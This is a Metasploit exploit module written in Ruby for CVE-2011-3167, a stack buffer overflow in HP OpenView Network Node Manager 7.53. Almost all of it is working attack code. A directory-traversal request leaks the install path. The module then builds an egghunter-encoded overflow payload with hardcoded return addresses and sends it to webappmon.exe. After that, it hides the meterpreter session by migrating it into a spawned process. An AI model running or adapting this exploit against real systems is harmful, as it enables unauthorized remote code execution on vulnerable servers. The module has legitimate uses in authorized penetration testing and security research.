HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in HP OpenView Network Node  
Manager 7.53 prior to NNM_01213 without the SSRT100649 hotfix. By specifying a long  
'textFile' argument when calling the 'webappmon.exe' CGI program, an attacker can  
cause a stack-based buffer overflow and execute arbitrary code.  
  
The vulnerable code is within the "_OVBuildPath" function within "ov.dll". There  
are no stack cookies, so exploitation is achieved by overwriting the saved return  
address.  
  
The vulnerability is due to the use of the function "_OVConcatPath" which finally  
uses "strcat" in a insecure way. User controlled data is concatenated to a string  
which contains the OpenView installation path.  
  
To achieve reliable exploitation a directory traversal in OpenView5.exe  
(OSVDB 44359) is being used to retrieve OpenView logs and disclose the installation  
path. If the installation path cannot be guessed the default installation path  
is used.  
} ,  
'Author' =>  
[  
'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery  
'juan vazquez', # Metasploit module  
'sinn3r' # Metasploit fu  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-3167' ],  
[ 'OSVDB', '76775' ],  
[ 'BID', '50471' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-002/' ],  
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03054052' ]  
],  
'Payload' =>  
{  
'Space' => 950,  
'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0b..0x23)].pack("C*") + [0x26, 0x2b, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f].pack("C*"),  
'DisableNops' => true,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EDI' # Egghunter jmp edi  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'HP OpenView Network Node Manager 7.53 / Windows 2000 SP4 & Windows XP SP3',  
# Patches installed:  
# * ECS_00048  
# * NNM_01128  
# * NNM_01172  
# * NNM_01187  
{  
'Offset' => 1067,  
'Ret' => 0x5a41656a, # pop/pop/ret - in ov.dll (v1.30.5.8002)  
'JmpESP' => 0x5a4251c5, # call esp - in ov.dll  
'EggAdjust' => 4,  
'ReadableAddress' => 0x5a466930 # ov.dll  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 01 2011'))  
  
register_options(  
[  
Opt::RPORT(80),  
], self.class)  
end  
  
# The following code allows to migrate if having into account  
# that over Windows XP permissions aren't granted on %windir%\system32  
#  
# Code ripped from "modules/post/windows/manage/migrate.rb". See it  
# for more information  
def on_new_session(client)  
  
if client.type != "meterpreter"  
print_error("NOTE: you must use a meterpreter payload in order to process migration.")  
return  
end  
  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
  
# Select path and executable to run depending the architecture  
# and the operating system  
if client.sys.config.sysinfo["OS"] =~ /Windows XP/  
windir = client.fs.file.expand_path("%ProgramFiles%")  
cmd="#{windir}\\Windows NT\\Accessories\\wordpad.exe"  
else # Windows 2000  
windir = client.fs.file.expand_path("%windir%")  
if client.sys.config.sysinfo['Architecture'] =~ /x86/  
cmd = "#{windir}\\System32\\notepad.exe"  
else  
cmd = "#{windir}\\Sysnative\\notepad.exe"  
end  
end  
  
# run hidden  
print_status("Spawning #{cmd.split("\\").last} process to migrate to")  
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })  
target_pid = proc.pid  
  
begin  
print_good("Migrating to #{target_pid}")  
client.core.migrate(target_pid)  
print_good("Successfully migrated to process #{target_pid}")  
rescue ::Exception => e  
print_error("Could not migrate in to process.")  
print_error(e.to_s)  
end  
  
end  
  
# Tries to guess the HP OpenView install dir via the Directory traversal identified  
# by OSVDB 44359.  
# If OSVDB 44359 doesn't allow to retrieve the installation path the default one  
# (C:\Program Files\HP OpenView\) is used.  
# Directory Traversal used:  
# http://host/OvCgi/OpenView5.exe?Context=Snmp&Action=../../../log/setup.log  
def get_install_path  
  
cgi = '/OvCgi/OpenView5.exe'  
web_session = rand_text_numeric(3)  
my_cookie = "OvOSLocale=English_United States.1252; "  
my_cookie << "OvAcceptLang=en-US; "  
my_cookie << "OvJavaLocale=en_US.Cp1252; "  
my_cookie << "OvWebSession=#{web_session}:AnyUser:"  
  
payload = "../../../log/setup.log"  
res = send_request_cgi({  
'uri' => cgi,  
'cookie' => my_cookie,  
'method' => "GET",  
'vars_get' =>  
{  
'Target' => "Main",  
'Scope' => "Snmp",  
'Action' => payload  
}  
}, 5)  
  
installation_path = ""  
if res and res.code == 200 and  
res.body =~ /([A-Z]:\\.*\\)log/  
print_status("Installation Path Found in #{$1}")  
installation_path = $1  
else  
print_status("Installation Path Not Found using the default")  
installation_path = "C:\\Program Files\\HP OpenView\\"  
end  
  
return installation_path  
end  
  
def exploit  
print_status("Trying target #{target.name}...")  
  
install_path = get_install_path  
install_path << "help\\English_United States.1252"  
  
eggoptions = {  
:checksum => true,  
}  
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  
  
[ 'x86/alpha_mixed'].each { |name|  
enc = framework.encoders.create(name)  
if name =~/alpha/  
# If control is transferred to the decoder via "call esp" BufferOfset  
# shoulds be adjusted.  
if target["EggAdjust"] and target["EggAdjust"] > 0  
enc_options = {  
'BufferRegister' => 'ESP',  
'BufferOffset' => target["EggAdjust"]  
}  
enc.datastore.import_options_from_hash(enc_options)  
else  
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })  
end  
end  
hunter = enc.encode(hunter, nil, nil, platform)  
}  
  
offset = target['Offset'] - install_path.length - egg.length  
  
my_payload = egg  
my_payload << rand_text_alphanumeric(offset)  
my_payload << [target.ret].pack("V")  
my_payload << rand_text_alphanumeric(4) # Padding  
my_payload << [target["ReadableAddress"]].pack("V")  
my_payload << [target["JmpESP"]].pack("V")  
my_payload << hunter  
  
buf = "-textFile+#{my_payload}+++++++++++++++++++++++"  
buf << "-appendSelectList+-appendSelectListToTitle+%09%09++++++"  
buf << "-commandHeading+%22Protocol+++++++++Port++++++++Service%22+++++++++++++++++++++++"  
buf << "-dataLine+2+"  
buf << "-commandTitle+%22Services%22+%09%09++++++"  
buf << "-iconName+%22Services%22+++++++++++++++++++++++"  
buf << "-cmd+rnetstat+"  
buf << "-S"  
  
web_session = rand_text_numeric(3)  
my_cookie = "OvOSLocale=English_United States.1252; "  
my_cookie << "OvAcceptLang=en-US; "  
my_cookie << "OvJavaLocale=en_US.Cp1252; "  
my_cookie << "OvWebSession=#{web_session}:AnyUser:"  
  
cgi = '/OvCgi/webappmon.exe'  
  
res = send_request_cgi({  
'uri' => cgi,  
'cookie' => my_cookie,  
'method' => "POST",  
'vars_post' =>  
{  
'ins' => 'nowait',  
'sel' => rand_text_alphanumeric(15),  
'app' => 'IP Tables',  
'act' => 'Services',  
'help' => '',  
'cache' => rand_text_numeric(4)  
},  
'data' => "arg=#{buf}" # Avoid uri encoding  
}, 3)  
  
if res and res.code != 502  
print_error("Eek! We weren't expecting a response, but we got one")  
if datastore['DEBUG']  
print_line()  
print_error(res.inspect)  
end  
end  
  
handler  
  
end  
  
end  
  
=begin  
  
* migrate to %windir%/system32/notepad.exe fails on Windows XP SP3  
  
meterpreter > run post/windows/manage/migrate  
  
[*] Running module against HOME-F006222D6C  
[*] Current server process: webappmon.exe (7064)  
[*] Spawning notepad.exe process to migrate to  
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.  
[-] Call stack:  
[-] /projects/exploiting/trunk/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:163:in `execute'  
[-] (eval):80:in `create_temp_proc'  
[-] (eval):49:in `run'  
=end`